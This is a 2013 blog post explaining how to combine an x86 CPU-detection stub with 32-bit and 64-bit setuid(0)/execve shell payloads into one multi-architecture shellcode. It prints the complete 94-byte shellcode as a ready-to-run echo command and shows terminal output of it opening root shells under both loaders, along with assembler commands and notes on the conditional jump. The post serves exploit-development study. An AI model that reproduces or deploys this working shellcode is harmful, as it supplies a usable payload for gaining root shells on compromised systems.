Thursday, August 29, 2013

Building multi-architecture shellcode with shellcodecs

Earlier when I documented alphanumeric shellcode I released a stub that allows you to determine the x86 cpu architecture that I called a 'getcpu'. Using a few tools from shellcodecs, I was able to combine it with a couple of other shellcodes and test the compatibility locally.

Building a 32-bit shellcode loader on a multilib system

The first thing I did was take the 32-bit loader found in shellcodecs and built it on my 64-bit system to get a decent test environment going.
root@box:~/Downloads/shellcode/loaders# as --32 loader-32.s -o loader-32.o
root@box:~/Downloads/shellcode/loaders# ld -m elf_i386 loader-32.o -o loader-32

Initial codes

I picked out two setuid(0); execve('/bin/bash',null,null) shellcodes: a 32-bit shellcode used in our buffer overflow wiki, and the 64-bit version that I wrote for shellcodecs, giving us the three portions of code below.
  • The getCPU stub:
  • The 32-bit payload:
  • The 64-bit payload:
I got the 64-bit payload using the following command from a compiled shellcodecs installation:
generators/ --file null-free/setuid_binsh --hex

Tying them together

The 64-bit payload is 32 bytes. In hex, this is represented with 0x20 or \x20. Because the getCPU sets the zflag on 32-bit and doesn't on 64-bit, I took the GetCPU and added a conditional jump if equal 0x20 ("t\x20"):
The idea here is that if its on a 32-bit system, it will jump over the 64-bit payload and execute the 32-bit system. If its on a 64-bit system, it will execute the 64-bit code without continuing to the 32-bit code because execve() is blocking. I appended the 64-bit payload, followed by the 32-bit payload to our altered getCPU with the conditional jump:
This comes out to 94 bytes.

Testing the shellcode

  • On 32-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-32 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # exit
  • On 64-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-64 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    root@box:/home/hats/Downloads/shellcode/loaders# id
    uid=0(root) gid=0(root) groups=0(root)
    root@box:/home/hats/Downloads/shellcode/loaders# exit
This same tricks works for windows shellcodes as well, the getCPU stub does not interfere with operating system internals or cause exceptions to be raised.

1 comment:

  1. Part 2: